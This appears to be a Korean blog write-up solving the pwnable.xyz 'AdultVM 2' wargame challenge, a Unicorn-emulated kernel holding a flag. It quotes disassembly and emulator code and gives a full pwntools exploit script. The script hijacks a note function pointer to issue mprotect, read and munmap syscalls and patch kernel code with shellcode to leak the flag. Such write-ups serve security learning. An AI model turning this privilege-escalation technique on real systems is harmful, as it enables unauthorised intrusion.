kernel에는 0xFFFFFFFF81005000에 플래그가 로드되어 있다. 이걸 읽으면 된다.
seg000:FFFFFFFF810000DD sys_write proc near ; CODE XREF: seg000:FFFFFFFF810000B0↑j
seg000:FFFFFFFF810000DD ; DATA XREF: seg000:jpt_FFFFFFFF810000B0↓o seg000:FFFFFFFF810000DD mov rax, 0FFFFFFFFFFFFFFFFh seg000:FFFFFFFF810000E4 cmp rdi, 1 seg000:FFFFFFFF810000E8 jnz short locret_FFFFFFFF81000105 seg000:FFFFFFFF810000EA mov r13, 800000000000h seg000:FFFFFFFF810000F4 cmp r13, rsi seg000:FFFFFFFF810000F7 jbe short locret_FFFFFFFF81000105 seg000:FFFFFFFF810000F9 mov cx, dx seg000:FFFFFFFF810000FC mov rax, rcx seg000:FFFFFFFF810000FF mov dx, 3F8h seg000:FFFFFFFF81000103 rep outsb seg000:FFFFFFFF81000105 seg000:FFFFFFFF81000105 locret_FFFFFFFF81000105: ; CODE XREF: sys_write+B↑j seg000:FFFFFFFF81000105 ; sys_write+1A↑j seg000:FFFFFFFF81000105 iret seg000:FFFFFFFF81000105 sys_write endp |
sys_write는 0x800000000000 뒤의 주소는 출력을 해 주지 않기 때문에 다른 접근 방법이 필요하다.
69
70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
def handle_kernel_interrupt(uc, intno, data):
if intno == 0x70: rax = uc.reg_read(UC_X86_REG_RAX) if rax == 0: rdi = uc.reg_read(UC_X86_REG_RDI) rsi = uc.reg_read(UC_X86_REG_RSI) rdx = uc.reg_read(UC_X86_REG_RDX) uc.mem_protect(rdi, rsi, rdx) elif rax == 7: rdi = uc.reg_read(UC_X86_REG_RDI) rsi = uc.reg_read(UC_X86_REG_RSI) rdx = uc.reg_read(UC_X86_REG_RDX) buf = str(eval(str(uc.mem_read(rdi, rdx)))) uc.mem_write(rsi, buf) uc.reg_write(UC_X86_REG_RAX, len(buf)) |
handle_kernel_interrupt로 0x70 interrupt를 처리하는 함수다. rax가 0이면 mem_protect 함수를 통해 메모리 영역의 권한을 수정할 수 있다.
132
133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
def start_kernel():
kernel = read("./kernel") flag2 = read("./flag2.txt") mu = Uc(UC_ARCH_X86, UC_MODE_64) mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ, USER_TEXT_MEM) mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM) mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM) mu.mem_map(KERNEL_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC) mu.mem_map(KERNEL_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE) mu.mem_write(KERNEL_ADDRESS, kernel) mu.hook_add(UC_HOOK_CODE, handle_kernel, None, KERNEL_ADDRESS, KERNEL_ADDRESS+MAPPING_SIZE) mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None, 1, 0, UC_X86_INS_IN) mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None, 1, 0, UC_X86_INS_OUT) mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt) mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_kernel_invalid) mu.reg_write(UC_X86_REG_RSP, KERNEL_STACK-0x1000) mu.reg_write(UC_X86_REG_RIP, KERNEL_ADDRESS) mu.mem_write(KERNEL_ADDRESS + 0x5000, flag2) mu.emu_start(KERNEL_ADDRESS, KERNEL_ADDRESS + len(kernel)) |
148번째 줄에서 kernel Uc object에 handle_kernel_interrupt hook를 추가한다. 즉 kernel 영역의 메모리 권한을 바꿀 수 있다.
.text:00000000040002C7 mov rax, [rbp+note]
.text:00000000040002CB mov rax, [rax+20h] .text:00000000040002CF mov rdx, [rbp+note] .text:00000000040002D3 mov rcx, [rdx+18h] .text:00000000040002D7 mov rdx, [rbp+note] .text:00000000040002DB mov rdx, [rdx+10h] .text:00000000040002DF mov rsi, [rbp+note] .text:00000000040002E3 mov rsi, [rsi+8] .text:00000000040002E7 mov rdi, [rbp+note] .text:00000000040002EB mov rdi, [rdi] .text:00000000040002EE call rax |
AdultVM 문제에서 notes[0]을 자유롭게 수정할 수 있음을 확인했다. 위 코드는 show_note에서 show 함수 포인터를 실행하는 부분이며, rdi, rsi, rdx, rcx 4개의 인자를 설정할 수 있다.
.text:0000000004000338 ; __int64 _syscall(__int64 n, ...)
.text:0000000004000338 public __syscall .text:0000000004000338 __syscall proc near ; CODE XREF: sccp+2↓j .text:0000000004000338 .text:0000000004000338 arg_0 = qword ptr 8 .text:0000000004000338 .text:0000000004000338 mov rax, rdi .text:000000000400033B mov rdi, rsi .text:000000000400033E mov rsi, rdx .text:0000000004000341 mov rdx, rcx .text:0000000004000344 mov r10, r8 .text:0000000004000347 mov r8, r9 .text:000000000400034A mov r9, [rsp+arg_0] .text:000000000400034F syscall ; LINUX - .text:0000000004000351 retn .text:0000000004000351 __syscall endp |
show 함수 포인터를 __syscall 함수로 옮기면 rax, rdi, rsi, rdx를 자유롭게 설정할 수 있기 때문에 원하는 syscall을 실행할 수 있다.
먼저 kernel의 코드 영역의 권한을 RWX로 바꾸고, sys_read로 sys_munmap를 주소 제한 없는 write 코드로 패치해준 뒤 syscall로 sys_munmap을 호출시켜 주면 된다. 하지만 sys_mprotect를 호출하려면 rax에 10을 넘겨야 하고, 10은 read_line으로 입력받을 수 없기 때문에 read를 실행해 Note 구조체를 수정하는 방법으로 우회해야 한다.
로컬에서 4시간동안 삽질해도 안 풀렸는데 (null dereference 버그가 생김) 리모트로 돌려보니 플래그가 나왔다. 아마 로컬 환경에 문제가 있었던 것 같다..
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 |
from pwn import *
from time import sleep import argparse def EditNote(nid:int, note:bytes) : p.writelineafter(b'Exit\n', b'1') p.writelineafter(b': ', str(nid).encode()) p.writeafter(b': ', note) if len(note) != 0x40 : p.write(b'\n') def ShowNote(nid:int, read_content:bool=True) : p.writelineafter(b'Exit\n', b'2') p.writelineafter(b': ', str(nid).encode()) if read_content : p.readuntil(b': ') return p.readuntil(b'\n1.', drop=True) def Exit() : p.writeline(b'3') def exploit() : sleep(1) for i in range(9) : EditNote(i, b'A'*0x40) payload = b'A'*8 payload += p64(0x4100380) # rdi (buf) = ¬es[0] payload += p64(0x28) # rsi (size) = sizeof(struct Node) payload += p64(0xFF)*2 payload += p64(0x400000F) # do_read EditNote(9, payload) ShowNote(0, False) payload = p64(10) # rax = sys_mprotect payload += p64(0xFFFFFFFF81000000) # rdi (addr) = kernel_base payload += p64(0x1000) # rsi (len) = 0x10000 payload += p64(7) # rdx (prot) = PROT_READ | PROT_WRITE | PROT_EXEC payload += p64(0x4000338) # __syscall p.write(payload) ShowNote(0, False) code = ''' mov rcx, rdx mov rax, rcx mov dx, 0x3F8 rep outsb iret ''' code = asm(code) payload = b'A'*8 payload += p64(0) # rax = sys_read payload += p64(0) # rdi (fd) = 0 payload += p64(0xFFFFFFFF8100013E) # rsi (buf) = 0xFFFFFFFF8100013E payload += p64(len(code)) # rdx (count) = len(code) payload += p64(0x4000338) # __syscall EditNote(9, payload) ShowNote(0, False) p.write(code) payload = b'A'*8 payload += p64(11) # rax = sys_munmap payload += p64(1) # rdi (fd), unnecessary payload += p64(0xFFFFFFFF81005000) # rsi (buf) = 0xFFFFFFFF81005000 payload += p64(0x40) # rdx (count) = 0x40 payload += p64(0x4000338) # __syscall EditNote(9, payload) ShowNote(0, False) p.interactive() if __name__ == '__main__' : context.arch = 'amd64' parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30048, fam='ipv4') else : p = process(['python3', 'start3.py']) exploit() |
Last update: 6/11/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / note v5 (0) | 2020.06.13 |
---|---|
pwnable.xyz / AdultVM 3 (0) | 2020.06.12 |
pwnable.xyz / AdultVM (2) | 2020.05.31 |
pwnable.xyz / note v4 (0) | 2020.05.30 |
pwnable.xyz / fishing (0) | 2020.05.30 |